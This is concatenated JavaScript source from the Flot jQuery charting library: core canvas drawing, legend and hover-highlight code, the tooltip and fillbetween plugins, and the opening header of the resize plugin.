function drawSeriesLines(series) {
function plotLine(datapoints, xoffset, yoffset, axisx, axisy) {
var points = datapoints.points,
ps = datapoints.pointsize,
prevx = null, prevy = null;
ctx.beginPath();
for (var i = ps; i < points.length; i += ps) {
var x1 = points[i - ps], y1 = points[i - ps + 1],
x2 = points[i], y2 = points[i + 1];
if (x1 == null || x2 == null)
continue;
// clip with ymin
if (y1 <= y2 && y1 < axisy.min) {
if (y2 < axisy.min)
continue; // line segment is outside
// compute new intersection point
x1 = (axisy.min - y1) / (y2 - y1) * (x2 - x1) + x1;
y1 = axisy.min;
}
else if (y2 <= y1 && y2 < axisy.min) {
if (y1 < axisy.min)
continue;
x2 = (axisy.min - y1) / (y2 - y1) * (x2 - x1) + x1;
y2 = axisy.min;
}
// clip with ymax
if (y1 >= y2 && y1 > axisy.max) {
if (y2 > axisy.max)
continue;
x1 = (axisy.max - y1) / (y2 - y1) * (x2 - x1) + x1;
y1 = axisy.max;
}
else if (y2 >= y1 && y2 > axisy.max) {
if (y1 > axisy.max)
continue;
x2 = (axisy.max - y1) / (y2 - y1) * (x2 - x1) + x1;
y2 = axisy.max;
}
// clip with xmin
if (x1 <= x2 && x1 < axisx.min) {
if (x2 < axisx.min)
continue;
y1 = (axisx.min - x1) / (x2 - x1) * (y2 - y1) + y1;
x1 = axisx.min;
}
else if (x2 <= x1 && x2 < axisx.min) {
if (x1 < axisx.min)
continue;
y2 = (axisx.min - x1) / (x2 - x1) * (y2 - y1) + y1;
x2 = axisx.min;
}
// clip with xmax
if (x1 >= x2 && x1 > axisx.max) {
if (x2 > axisx.max)
continue;
y1 = (axisx.max - x1) / (x2 - x1) * (y2 - y1) + y1;
x1 = axisx.max;
}
else if (x2 >= x1 && x2 > axisx.max) {
if (x1 > axisx.max)
continue;
y2 = (axisx.max - x1) / (x2 - x1) * (y2 - y1) + y1;
x2 = axisx.max;
}
if (x1 != prevx || y1 != prevy)
ctx.moveTo(axisx.p2c(x1) + xoffset, axisy.p2c(y1) + yoffset);
prevx = x2;
prevy = y2;
ctx.lineTo(axisx.p2c(x2) + xoffset, axisy.p2c(y2) + yoffset);
}
ctx.stroke();
}
function plotLineArea(datapoints, axisx, axisy) {
var points = datapoints.points,
ps = datapoints.pointsize,
bottom = Math.min(Math.max(0, axisy.min), axisy.max),
i = 0, top, areaOpen = false,
ypos = 1, segmentStart = 0, segmentEnd = 0;
// we process each segment in two turns, first forward
// direction to sketch out top, then once we hit the
// end we go backwards to sketch the bottom
while (true) {
if (ps > 0 && i > points.length + ps)
break;
i += ps; // ps is negative if going backwards
var x1 = points[i - ps],
y1 = points[i - ps + ypos],
x2 = points[i], y2 = points[i + ypos];
if (areaOpen) {
if (ps > 0 && x1 != null && x2 == null) {
// at turning point
segmentEnd = i;
ps = -ps;
ypos = 2;
continue;
}
if (ps < 0 && i == segmentStart + ps) {
// done with the reverse sweep
ctx.fill();
areaOpen = false;
ps = -ps;
ypos = 1;
i = segmentStart = segmentEnd + ps;
continue;
}
}
if (x1 == null || x2 == null)
continue;
// clip x values
// clip with xmin
if (x1 <= x2 && x1 < axisx.min) {
if (x2 < axisx.min)
continue;
y1 = (axisx.min - x1) / (x2 - x1) * (y2 - y1) + y1;
x1 = axisx.min;
}
else if (x2 <= x1 && x2 < axisx.min) {
if (x1 < axisx.min)
continue;
y2 = (axisx.min - x1) / (x2 - x1) * (y2 - y1) + y1;
x2 = axisx.min;
}
// clip with xmax
if (x1 >= x2 && x1 > axisx.max) {
if (x2 > axisx.max)
continue;
y1 = (axisx.max - x1) / (x2 - x1) * (y2 - y1) + y1;
x1 = axisx.max;
}
else if (x2 >= x1 && x2 > axisx.max) {
if (x1 > axisx.max)
continue;
y2 = (axisx.max - x1) / (x2 - x1) * (y2 - y1) + y1;
x2 = axisx.max;
}
if (!areaOpen) {
// open area
ctx.beginPath();
ctx.moveTo(axisx.p2c(x1), axisy.p2c(bottom));
areaOpen = true;
}
// now first check the case where both is outside
if (y1 >= axisy.max && y2 >= axisy.max) {
ctx.lineTo(axisx.p2c(x1), axisy.p2c(axisy.max));
ctx.lineTo(axisx.p2c(x2), axisy.p2c(axisy.max));
continue;
}
else if (y1 <= axisy.min && y2 <= axisy.min) {
ctx.lineTo(axisx.p2c(x1), axisy.p2c(axisy.min));
ctx.lineTo(axisx.p2c(x2), axisy.p2c(axisy.min));
continue;
}
// else it's a bit more complicated, there might
// be a flat maxed out rectangle first, then a
// triangular cutout or reverse; to find these
// keep track of the current x values
var x1old = x1, x2old = x2;
// clip the y values, without shortcutting, we
// go through all cases in turn
// clip with ymin
if (y1 <= y2 && y1 < axisy.min && y2 >= axisy.min) {
x1 = (axisy.min - y1) / (y2 - y1) * (x2 - x1) + x1;
y1 = axisy.min;
}
else if (y2 <= y1 && y2 < axisy.min && y1 >= axisy.min) {
x2 = (axisy.min - y1) / (y2 - y1) * (x2 - x1) + x1;
y2 = axisy.min;
}
// clip with ymax
if (y1 >= y2 && y1 > axisy.max && y2 <= axisy.max) {
x1 = (axisy.max - y1) / (y2 - y1) * (x2 - x1) + x1;
y1 = axisy.max;
}
else if (y2 >= y1 && y2 > axisy.max && y1 <= axisy.max) {
x2 = (axisy.max - y1) / (y2 - y1) * (x2 - x1) + x1;
y2 = axisy.max;
}
// if the x value was changed we got a rectangle
// to fill
if (x1 != x1old) {
ctx.lineTo(axisx.p2c(x1old), axisy.p2c(y1));
// it goes to (x1, y1), but we fill that below
}
// fill triangular section, this sometimes result
// in redundant points if (x1, y1) hasn't changed
// from previous line to, but we just ignore that
ctx.lineTo(axisx.p2c(x1), axisy.p2c(y1));
ctx.lineTo(axisx.p2c(x2), axisy.p2c(y2));
// fill the other rectangle if it's there
if (x2 != x2old) {
ctx.lineTo(axisx.p2c(x2), axisy.p2c(y2));
ctx.lineTo(axisx.p2c(x2old), axisy.p2c(y2));
}
}
}
ctx.save();
ctx.translate(plotOffset.left, plotOffset.top);
ctx.lineJoin = "round";
var lw = series.lines.lineWidth,
sw = series.shadowSize;
// FIXME: consider another form of shadow when filling is turned on
if (lw > 0 && sw > 0) {
// draw shadow as a thick and thin line with transparency
ctx.lineWidth = sw;
ctx.strokeStyle = "rgba(0,0,0,0.1)";
// position shadow at angle from the mid of line
var angle = Math.PI/18;
plotLine(series.datapoints, Math.sin(angle) * (lw/2 + sw/2), Math.cos(angle) * (lw/2 + sw/2), series.xaxis, series.yaxis);
ctx.lineWidth = sw/2;
plotLine(series.datapoints, Math.sin(angle) * (lw/2 + sw/4), Math.cos(angle) * (lw/2 + sw/4), series.xaxis, series.yaxis);
}
ctx.lineWidth = lw;
ctx.strokeStyle = series.color;
var fillStyle = getFillStyle(series.lines, series.color, 0, plotHeight);
if (fillStyle) {
ctx.fillStyle = fillStyle;
plotLineArea(series.datapoints, series.xaxis, series.yaxis);
}
if (lw > 0)
plotLine(series.datapoints, 0, 0, series.xaxis, series.yaxis);
ctx.restore();
}
function drawSeriesPoints(series) {
function plotPoints(datapoints, radius, fillStyle, offset, shadow, axisx, axisy, symbol) {
var points = datapoints.points, ps = datapoints.pointsize;
for (var i = 0; i < points.length; i += ps) {
var x = points[i], y = points[i + 1];
if (x == null || x < axisx.min || x > axisx.max || y < axisy.min || y > axisy.max)
continue;
ctx.beginPath();
x = axisx.p2c(x);
y = axisy.p2c(y) + offset;
if (symbol == "circle")
ctx.arc(x, y, radius, 0, shadow ? Math.PI : Math.PI * 2, false);
else
symbol(ctx, x, y, radius, shadow);
ctx.closePath();
if (fillStyle) {
ctx.fillStyle = fillStyle;
ctx.fill();
}
ctx.stroke();
}
}
ctx.save();
ctx.translate(plotOffset.left, plotOffset.top);
var lw = series.points.lineWidth,
sw = series.shadowSize,
radius = series.points.radius,
symbol = series.points.symbol;
if (lw > 0 && sw > 0) {
// draw shadow in two steps
var w = sw / 2;
ctx.lineWidth = w;
ctx.strokeStyle = "rgba(0,0,0,0.1)";
plotPoints(series.datapoints, radius, null, w + w/2, true,
series.xaxis, series.yaxis, symbol);
ctx.strokeStyle = "rgba(0,0,0,0.2)";
plotPoints(series.datapoints, radius, null, w/2, true,
series.xaxis, series.yaxis, symbol);
}
ctx.lineWidth = lw;
ctx.strokeStyle = series.color;
plotPoints(series.datapoints, radius,
getFillStyle(series.points, series.color), 0, false,
series.xaxis, series.yaxis, symbol);
ctx.restore();
}
function drawBar(x, y, b, barLeft, barRight, offset, fillStyleCallback, axisx, axisy, c, horizontal, lineWidth) {
var left, right, bottom, top,
drawLeft, drawRight, drawTop, drawBottom,
tmp;
// in horizontal mode, we start the bar from the left
// instead of from the bottom so it appears to be
// horizontal rather than vertical
if (horizontal) {
drawBottom = drawRight = drawTop = true;
drawLeft = false;
left = b;
right = x;
top = y + barLeft;
bottom = y + barRight;
// account for negative bars
if (right < left) {
tmp = right;
right = left;
left = tmp;
drawLeft = true;
drawRight = false;
}
}
else {
drawLeft = drawRight = drawTop = true;
drawBottom = false;
left = x + barLeft;
right = x + barRight;
bottom = b;
top = y;
// account for negative bars
if (top < bottom) {
tmp = top;
top = bottom;
bottom = tmp;
drawBottom = true;
drawTop = false;
}
}
// clip
if (right < axisx.min || left > axisx.max ||
top < axisy.min || bottom > axisy.max)
return;
if (left < axisx.min) {
left = axisx.min;
drawLeft = false;
}
if (right > axisx.max) {
right = axisx.max;
drawRight = false;
}
if (bottom < axisy.min) {
bottom = axisy.min;
drawBottom = false;
}
if (top > axisy.max) {
top = axisy.max;
drawTop = false;
}
left = axisx.p2c(left);
bottom = axisy.p2c(bottom);
right = axisx.p2c(right);
top = axisy.p2c(top);
// fill the bar
if (fillStyleCallback) {
c.beginPath();
c.moveTo(left, bottom);
c.lineTo(left, top);
c.lineTo(right, top);
c.lineTo(right, bottom);
c.fillStyle = fillStyleCallback(bottom, top);
c.fill();
}
// draw outline
if (lineWidth > 0 && (drawLeft || drawRight || drawTop || drawBottom)) {
c.beginPath();
// FIXME: inline moveTo is buggy with excanvas
c.moveTo(left, bottom + offset);
if (drawLeft)
c.lineTo(left, top + offset);
else
c.moveTo(left, top + offset);
if (drawTop)
c.lineTo(right, top + offset);
else
c.moveTo(right, top + offset);
if (drawRight)
c.lineTo(right, bottom + offset);
else
c.moveTo(right, bottom + offset);
if (drawBottom)
c.lineTo(left, bottom + offset);
else
c.moveTo(left, bottom + offset);
c.stroke();
}
}
function drawSeriesBars(series) {
function plotBars(datapoints, barLeft, barRight, offset, fillStyleCallback, axisx, axisy) {
var points = datapoints.points, ps = datapoints.pointsize;
for (var i = 0; i < points.length; i += ps) {
if (points[i] == null)
continue;
drawBar(points[i], points[i + 1], points[i + 2], barLeft, barRight, offset, fillStyleCallback, axisx, axisy, ctx, series.bars.horizontal, series.bars.lineWidth);
}
}
ctx.save();
ctx.translate(plotOffset.left, plotOffset.top);
// FIXME: figure out a way to add shadows (for instance along the right edge)
ctx.lineWidth = series.bars.lineWidth;
ctx.strokeStyle = series.color;
var barLeft = series.bars.align == "left" ? 0 : -series.bars.barWidth/2;
var fillStyleCallback = series.bars.fill ? function (bottom, top) { return getFillStyle(series.bars, series.color, bottom, top); } : null;
plotBars(series.datapoints, barLeft, barLeft + series.bars.barWidth, 0, fillStyleCallback, series.xaxis, series.yaxis);
ctx.restore();
}
function getFillStyle(filloptions, seriesColor, bottom, top) {
var fill = filloptions.fill;
if (!fill)
return null;
if (filloptions.fillColor)
return getColorOrGradient(filloptions.fillColor, bottom, top, seriesColor);
var c = $.color.parse(seriesColor);
c.a = typeof fill == "number" ? fill : 0.4;
c.normalize();
return c.toString();
}
function insertLegend() {
placeholder.find(".legend").remove();
if (!options.legend.show)
return;
var fragments = [], rowStarted = false,
lf = options.legend.labelFormatter, s, label;
for (var i = 0; i < series.length; ++i) {
s = series[i];
label = s.label;
if (!label)
continue;
if (i % options.legend.noColumns == 0) {
if (rowStarted)
fragments.push('</tr>');
fragments.push('<tr>');
rowStarted = true;
}
if (lf)
label = lf(label, s);
fragments.push(
'<td class="legendColorBox"><div style="' + options.legend.labelBoxBorderColor + '"><div style="border:2px solid ' + s.color + ';overflow:hidden"></div></div></td>' +
'<td class="legendLabel"><span>' + label + '</span></td>');
}
if (rowStarted)
fragments.push('</tr>');
if (fragments.length == 0)
return;
var table = '<table style="font-size: 11px; color:' + options.grid.color + '">' + fragments.join("") + '</table>';
if (options.legend.container != null)
$(options.legend.container).html(table);
else {
var pos = "",
p = options.legend.position,
m = options.legend.margin;
if (m[0] == null)
m = [m, m];
if (p.charAt(0) == "n")
pos += 'top:' + (m[1] + plotOffset.top) + 'px;';
else if (p.charAt(0) == "s")
pos += 'bottom:' + (m[1] + plotOffset.bottom) + 'px;';
if (p.charAt(1) == "e")
pos += 'right:' + (m[0] + plotOffset.right) + 'px;';
else if (p.charAt(1) == "w")
pos += 'left:' + (m[0] + plotOffset.left) + 'px;';
var legend = $('<div class="legend">' + table.replace('style="', 'style="position:absolute;' + pos +';') + '</div>').appendTo(placeholder);
if (options.legend.backgroundOpacity != 0.0) {
// put in the transparent background
// separately to avoid blended labels and
// label boxes
var c = options.legend.backgroundColor;
if (c == null) {
c = options.grid.backgroundColor;
if (c && typeof c == "string")
c = $.color.parse(c);
else
c = $.color.extract(legend, 'background-color');
c.a = 1;
c = c.toString();
}
var div = legend.children();
$('<div style="position:absolute;width:' + div.width() + 'px;height:' + div.height() + 'px;' + pos +'background-color:' + c + ';"> </div>').prependTo(legend).css('opacity', options.legend.backgroundOpacity);
}
}
}
// interactive features
var highlights = [],
redrawTimeout = null;
// returns the data item the mouse is over, or null if none is found
function findNearbyItem(mouseX, mouseY, seriesFilter) {
var maxDistance = options.grid.mouseActiveRadius,
smallestDistance = maxDistance * maxDistance + 1,
item = null, foundPoint = false, i, j;
for (i = series.length - 1; i >= 0; --i) {
if (!seriesFilter(series[i]))
continue;
var s = series[i],
axisx = s.xaxis,
axisy = s.yaxis,
points = s.datapoints.points,
ps = s.datapoints.pointsize,
mx = axisx.c2p(mouseX), // precompute some stuff to make the loop faster
my = axisy.c2p(mouseY),
maxx = maxDistance / axisx.scale,
maxy = maxDistance / axisy.scale;
// with inverse transforms, we can't use the maxx/maxy
// optimization, sadly
if (axisx.options.inverseTransform)
maxx = Number.MAX_VALUE;
if (axisy.options.inverseTransform)
maxy = Number.MAX_VALUE;
if (s.lines.show || s.points.show) {
for (j = 0; j < points.length; j += ps) {
var x = points[j], y = points[j + 1];
if (x == null)
continue;
// For points and lines, the cursor must be within a
// certain distance to the data point
if (x - mx > maxx || x - mx < -maxx ||
y - my > maxy || y - my < -maxy)
continue;
// We have to calculate distances in pixels, not in
// data units, because the scales of the axes may be different
var dx = Math.abs(axisx.p2c(x) - mouseX),
dy = Math.abs(axisy.p2c(y) - mouseY),
dist = dx * dx + dy * dy; // we save the sqrt
// use <= to ensure last point takes precedence
// (last generally means on top of)
if (dist < smallestDistance) {
smallestDistance = dist;
item = [i, j / ps];
}
}
}
if (s.bars.show && !item) { // no other point can be nearby
var barLeft = s.bars.align == "left" ? 0 : -s.bars.barWidth/2,
barRight = barLeft + s.bars.barWidth;
for (j = 0; j < points.length; j += ps) {
var x = points[j], y = points[j + 1], b = points[j + 2];
if (x == null)
continue;
// for a bar graph, the cursor must be inside the bar
if (series[i].bars.horizontal ?
(mx <= Math.max(b, x) && mx >= Math.min(b, x) &&
my >= y + barLeft && my <= y + barRight) :
(mx >= x + barLeft && mx <= x + barRight &&
my >= Math.min(b, y) && my <= Math.max(b, y)))
item = [i, j / ps];
}
}
}
if (item) {
i = item[0];
j = item[1];
ps = series[i].datapoints.pointsize;
return { datapoint: series[i].datapoints.points.slice(j * ps, (j + 1) * ps),
dataIndex: j,
series: series[i],
seriesIndex: i };
}
return null;
}
function onMouseMove(e) {
if (options.grid.hoverable)
triggerClickHoverEvent("plothover", e,
function (s) { return s["hoverable"] != false; });
}
function onMouseLeave(e) {
if (options.grid.hoverable)
triggerClickHoverEvent("plothover", e,
function (s) { return false; });
}
function onClick(e) {
triggerClickHoverEvent("plotclick", e,
function (s) { return s["clickable"] != false; });
}
// trigger click or hover event (they send the same parameters
// so we share their code)
function triggerClickHoverEvent(eventname, event, seriesFilter) {
var offset = eventHolder.offset(),
canvasX = event.pageX - offset.left - plotOffset.left,
canvasY = event.pageY - offset.top - plotOffset.top,
pos = canvasToAxisCoords({ left: canvasX, top: canvasY });
pos.pageX = event.pageX;
pos.pageY = event.pageY;
var item = findNearbyItem(canvasX, canvasY, seriesFilter);
if (item) {
// fill in mouse pos for any listeners out there
item.pageX = parseInt(item.series.xaxis.p2c(item.datapoint[0]) + offset.left + plotOffset.left);
item.pageY = parseInt(item.series.yaxis.p2c(item.datapoint[1]) + offset.top + plotOffset.top);
}
if (options.grid.autoHighlight) {
// clear auto-highlights
for (var i = 0; i < highlights.length; ++i) {
var h = highlights[i];
if (h.auto == eventname &&
!(item && h.series == item.series &&
h.point[0] == item.datapoint[0] &&
h.point[1] == item.datapoint[1]))
unhighlight(h.series, h.point);
}
if (item)
highlight(item.series, item.datapoint, eventname);
}
placeholder.trigger(eventname, [ pos, item ]);
}
function triggerRedrawOverlay() {
if (!redrawTimeout)
redrawTimeout = setTimeout(drawOverlay, 30);
}
function drawOverlay() {
redrawTimeout = null;
// draw highlights
octx.save();
octx.clearRect(0, 0, canvasWidth, canvasHeight);
octx.translate(plotOffset.left, plotOffset.top);
var i, hi;
for (i = 0; i < highlights.length; ++i) {
hi = highlights[i];
if (hi.series.bars.show)
drawBarHighlight(hi.series, hi.point);
else
drawPointHighlight(hi.series, hi.point);
}
octx.restore();
executeHooks(hooks.drawOverlay, [octx]);
}
function highlight(s, point, auto) {
if (typeof s == "number")
s = series[s];
if (typeof point == "number") {
var ps = s.datapoints.pointsize;
point = s.datapoints.points.slice(ps * point, ps * (point + 1));
}
var i = indexOfHighlight(s, point);
if (i == -1) {
highlights.push({ series: s, point: point, auto: auto });
triggerRedrawOverlay();
}
else if (!auto)
highlights[i].auto = false;
}
function unhighlight(s, point) {
if (s == null && point == null) {
highlights = [];
triggerRedrawOverlay();
}
if (typeof s == "number")
s = series[s];
if (typeof point == "number")
point = s.data[point];
var i = indexOfHighlight(s, point);
if (i != -1) {
highlights.splice(i, 1);
triggerRedrawOverlay();
}
}
function indexOfHighlight(s, p) {
for (var i = 0; i < highlights.length; ++i) {
var h = highlights[i];
if (h.series == s && h.point[0] == p[0]
&& h.point[1] == p[1])
return i;
}
return -1;
}
function drawPointHighlight(series, point) {
var x = point[0], y = point[1],
axisx = series.xaxis, axisy = series.yaxis;
if (x < axisx.min || x > axisx.max || y < axisy.min || y > axisy.max)
return;
var pointRadius = series.points.radius + series.points.lineWidth / 2;
octx.lineWidth = pointRadius;
octx.strokeStyle = $.color.parse(series.color).scale('a', 0.5).toString();
var radius = 1.5 * pointRadius,
x = axisx.p2c(x),
y = axisy.p2c(y);
octx.beginPath();
if (series.points.symbol == "circle")
octx.arc(x, y, radius, 0, 2 * Math.PI, false);
else
series.points.symbol(octx, x, y, radius, false);
octx.closePath();
octx.stroke();
}
function drawBarHighlight(series, point) {
octx.lineWidth = series.bars.lineWidth;
octx.strokeStyle = $.color.parse(series.color).scale('a', 0.5).toString();
var fillStyle = $.color.parse(series.color).scale('a', 0.5).toString();
var barLeft = series.bars.align == "left" ? 0 : -series.bars.barWidth/2;
drawBar(point[0], point[1], point[2] || 0, barLeft, barLeft + series.bars.barWidth,
0, function () { return fillStyle; }, series.xaxis, series.yaxis, octx, series.bars.horizontal, series.bars.lineWidth);
}
function getColorOrGradient(spec, bottom, top, defaultColor) {
if (typeof spec == "string")
return spec;
else {
// assume this is a gradient spec; IE currently only
// supports a simple vertical gradient properly, so that's
// what we support too
var gradient = ctx.createLinearGradient(0, top, 0, bottom);
for (var i = 0, l = spec.colors.length; i < l; ++i) {
var c = spec.colors[i];
if (typeof c != "string") {
var co = $.color.parse(defaultColor);
if (c.brightness != null)
co = co.scale('rgb', c.brightness)
if (c.opacity != null)
co.a *= c.opacity;
c = co.toString();
}
gradient.addColorStop(i / (l - 1), c);
}
return gradient;
}
}
}
$.plot = function(placeholder, data, options) {
//var t0 = new Date();
var plot = new Plot($(placeholder), data, options, $.plot.plugins);
//(window.console ? console.log : alert)("time used (msecs): " + ((new Date()).getTime() - t0.getTime()));
return plot;
};
$.plot.version = "0.7";
$.plot.plugins = [];
// returns a string with the date d formatted according to fmt
$.plot.formatDate = function(d, fmt, monthNames) {
var leftPad = function(n) {
n = "" + n;
return n.length == 1 ? "0" + n : n;
};
var r = [];
var escape = false, padNext = false;
var hours = d.getUTCHours();
var isAM = hours < 12;
if (monthNames == null)
monthNames = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
if (fmt.search(/%p|%P/) != -1) {
if (hours > 12) {
hours = hours - 12;
} else if (hours == 0) {
hours = 12;
}
}
for (var i = 0; i < fmt.length; ++i) {
var c = fmt.charAt(i);
if (escape) {
switch (c) {
case 'h': c = "" + hours; break;
case 'H': c = leftPad(hours); break;
case 'M': c = leftPad(d.getUTCMinutes()); break;
case 'S': c = leftPad(d.getUTCSeconds()); break;
case 'd': c = "" + d.getUTCDate(); break;
case 'm': c = "" + (d.getUTCMonth() + 1); break;
case 'y': c = "" + d.getUTCFullYear(); break;
case 'b': c = "" + monthNames[d.getUTCMonth()]; break;
case 'p': c = (isAM) ? ("" + "am") : ("" + "pm"); break;
case 'P': c = (isAM) ? ("" + "AM") : ("" + "PM"); break;
case '0': c = ""; padNext = true; break;
}
if (c && padNext) {
c = leftPad(c);
padNext = false;
}
r.push(c);
if (!padNext)
escape = false;
}
else {
if (c == "%")
escape = true;
else
r.push(c);
}
}
return r.join("");
};
// round to nearby lower multiple of base
function floorInBase(n, base) {
return base * Math.floor(n / base);
}
})(jQuery); | JavaScript |
/*
* jquery.flot.tooltip
*
* desc: create tooltip with values of hovered point on the graph,
support many series, time mode, stacking and pie charts
you can set custom tip content (also with use of HTML tags) and precision of values
* version: 0.4.4
* author: Krzysztof Urbas @krzysu [myviews.pl] with help of @ismyrnow
* website: https://github.com/krzysu/flot.tooltip
*
* released under MIT License, 2012
*/
(function ($) {
var options = {
tooltip: false, //boolean
tooltipOpts: {
content: "%s | X: %x | Y: %y.2", //%s -> series label, %x -> X value, %y -> Y value, %x.2 -> precision of X value, %p -> percent
dateFormat: "%y-%0m-%0d",
shifts: {
x: 10,
y: 20
},
defaultTheme: true
}
};
var init = function(plot) {
var tipPosition = {x: 0, y: 0};
var opts = plot.getOptions();
var updateTooltipPosition = function(pos) {
tipPosition.x = pos.x;
tipPosition.y = pos.y;
};
var onMouseMove = function(e) {
var pos = {x: 0, y: 0};
pos.x = e.pageX;
pos.y = e.pageY;
updateTooltipPosition(pos);
};
var timestampToDate = function(tmst) {
var theDate = new Date(tmst);
return $.plot.formatDate(theDate, opts.tooltipOpts.dateFormat);
};
plot.hooks.bindEvents.push(function (plot, eventHolder) {
var to = opts.tooltipOpts;
var placeholder = plot.getPlaceholder();
var $tip;
if (opts.tooltip === false) return;
if( $('#flotTip').length > 0 ){
$tip = $('#flotTip');
}
else {
$tip = $('<div />').attr('id', 'flotTip');
$tip.appendTo('body').hide().css({position: 'absolute'});
if(to.defaultTheme) {
$tip.css({
'background': '#fff',
'z-index': '100',
'padding': '0.4em 0.6em',
'border-radius': '0.5em',
'font-size': '0.8em',
'border': '1px solid #111'
});
}
}
$(placeholder).bind("plothover", function (event, pos, item) {
if (item) {
var tipText;
if(opts.xaxis.mode === "time" || opts.xaxes[0].mode === "time") {
tipText = stringFormat(to.content, item, timestampToDate);
}
else {
tipText = stringFormat(to.content, item);
}
$tip.html( tipText ).css({left: tipPosition.x + to.shifts.x, top: tipPosition.y + to.shifts.y}).show();
}
else {
$tip.hide().html('');
}
});
eventHolder.mousemove(onMouseMove);
});
var stringFormat = function(content, item, fnct) {
var percentPattern = /%p\.{0,1}(\d{0,})/;
var seriesPattern = /%s/;
var xPattern = /%x\.{0,1}(\d{0,})/;
var yPattern = /%y\.{0,1}(\d{0,})/;
//percent match
if( typeof (item.series.percent) !== 'undefined' ) {
content = adjustValPrecision(percentPattern, content, item.series.percent);
}
//series match
if( typeof(item.series.label) !== 'undefined' ) {
content = content.replace(seriesPattern, item.series.label);
}
// xVal match
if( typeof(fnct) === 'function' ) {
content = content.replace(xPattern, fnct(item.series.data[item.dataIndex][0]) );
}
else if( typeof item.series.data[item.dataIndex][0] === 'number' ) {
content = adjustValPrecision(xPattern, content, item.series.data[item.dataIndex][0]);
}
// yVal match
if( typeof item.series.data[item.dataIndex][1] === 'number' ) {
content = adjustValPrecision(yPattern, content, item.series.data[item.dataIndex][1]);
}
return content;
};
var adjustValPrecision = function(pattern, content, value) {
var precision;
if( content.match(pattern) !== 'null' ) {
if(RegExp.$1 !== '') {
precision = RegExp.$1;
value = value.toFixed(precision)
}
content = content.replace(pattern, value);
}
return content;
};
}
$.plot.plugins.push({
init: init,
options: options,
name: 'tooltip',
version: '0.4.4'
});
})(jQuery);
| JavaScript |
/*
Flot plugin for computing bottoms for filled line and bar charts.
The case: you've got two series that you want to fill the area
between. In Flot terms, you need to use one as the fill bottom of the
other. You can specify the bottom of each data point as the third
coordinate manually, or you can use this plugin to compute it for you.
In order to name the other series, you need to give it an id, like this
var dataset = [
{ data: [ ... ], id: "foo" } , // use default bottom
{ data: [ ... ], fillBetween: "foo" }, // use first dataset as bottom
];
$.plot($("#placeholder"), dataset, { line: { show: true, fill: true }});
As a convenience, if the id given is a number that doesn't appear as
an id in the series, it is interpreted as the index in the array
instead (so fillBetween: 0 can also mean the first series).
Internally, the plugin modifies the datapoints in each series. For
line series, extra data points might be inserted through
interpolation. Note that at points where the bottom line is not
defined (due to a null point or start/end of line), the current line
will show a gap too. The algorithm comes from the jquery.flot.stack.js
plugin, possibly some code could be shared.
*/
(function ($) {
var options = {
series: { fillBetween: null } // or number
};
function init(plot) {
function findBottomSeries(s, allseries) {
var i;
for (i = 0; i < allseries.length; ++i) {
if (allseries[i].id == s.fillBetween)
return allseries[i];
}
if (typeof s.fillBetween == "number") {
i = s.fillBetween;
if (i < 0 || i >= allseries.length)
return null;
return allseries[i];
}
return null;
}
function computeFillBottoms(plot, s, datapoints) {
if (s.fillBetween == null)
return;
var other = findBottomSeries(s, plot.getData());
if (!other)
return;
var ps = datapoints.pointsize,
points = datapoints.points,
otherps = other.datapoints.pointsize,
otherpoints = other.datapoints.points,
newpoints = [],
px, py, intery, qx, qy, bottom,
withlines = s.lines.show,
withbottom = ps > 2 && datapoints.format[2].y,
withsteps = withlines && s.lines.steps,
fromgap = true,
i = 0, j = 0, l;
while (true) {
if (i >= points.length)
break;
l = newpoints.length;
if (points[i] == null) {
// copy gaps
for (m = 0; m < ps; ++m)
newpoints.push(points[i + m]);
i += ps;
}
else if (j >= otherpoints.length) {
// for lines, we can't use the rest of the points
if (!withlines) {
for (m = 0; m < ps; ++m)
newpoints.push(points[i + m]);
}
i += ps;
}
else if (otherpoints[j] == null) {
// oops, got a gap
for (m = 0; m < ps; ++m)
newpoints.push(null);
fromgap = true;
j += otherps;
}
else {
// cases where we actually got two points
px = points[i];
py = points[i + 1];
qx = otherpoints[j];
qy = otherpoints[j + 1];
bottom = 0;
if (px == qx) {
for (m = 0; m < ps; ++m)
newpoints.push(points[i + m]);
//newpoints[l + 1] += qy;
bottom = qy;
i += ps;
j += otherps;
}
else if (px > qx) {
// we got past point below, might need to
// insert interpolated extra point
if (withlines && i > 0 && points[i - ps] != null) {
intery = py + (points[i - ps + 1] - py) * (qx - px) / (points[i - ps] - px);
newpoints.push(qx);
newpoints.push(intery)
for (m = 2; m < ps; ++m)
newpoints.push(points[i + m]);
bottom = qy;
}
j += otherps;
}
else { // px < qx
if (fromgap && withlines) {
// if we come from a gap, we just skip this point
i += ps;
continue;
}
for (m = 0; m < ps; ++m)
newpoints.push(points[i + m]);
// we might be able to interpolate a point below,
// this can give us a better y
if (withlines && j > 0 && otherpoints[j - otherps] != null)
bottom = qy + (otherpoints[j - otherps + 1] - qy) * (px - qx) / (otherpoints[j - otherps] - qx);
//newpoints[l + 1] += bottom;
i += ps;
}
fromgap = false;
if (l != newpoints.length && withbottom)
newpoints[l + 2] = bottom;
}
// maintain the line steps invariant
if (withsteps && l != newpoints.length && l > 0
&& newpoints[l] != null
&& newpoints[l] != newpoints[l - ps]
&& newpoints[l + 1] != newpoints[l - ps + 1]) {
for (m = 0; m < ps; ++m)
newpoints[l + ps + m] = newpoints[l + m];
newpoints[l + 1] = newpoints[l - ps + 1];
}
}
datapoints.points = newpoints;
}
plot.hooks.processDatapoints.push(computeFillBottoms);
}
$.plot.plugins.push({
init: init,
options: options,
name: 'fillbetween',
version: '1.0'
});
})(jQuery);
| JavaScript |
/*
Flot plugin for automatically redrawing plots when the placeholder
size changes, e.g. on window resizes.
It works by listening for changes on the placeholder div (through the
jQuery resize event plugin) - if the size changes, it will redraw the
plot.
There are no options. If you need to disable the plugin for some
plots, you can just fix the size of their placeholders.
*/
/* Inline dependency:
* jQuery resize event - v1.1 - 3/14/2010
* http://benalman.com/projects/jquery-resize-plugin/
*
* Copyright (c) 2010 "Cowboy" Ben Alman
* Dual licensed under the MIT and GPL licenses.
* http://benalman.com/about/license/
*/
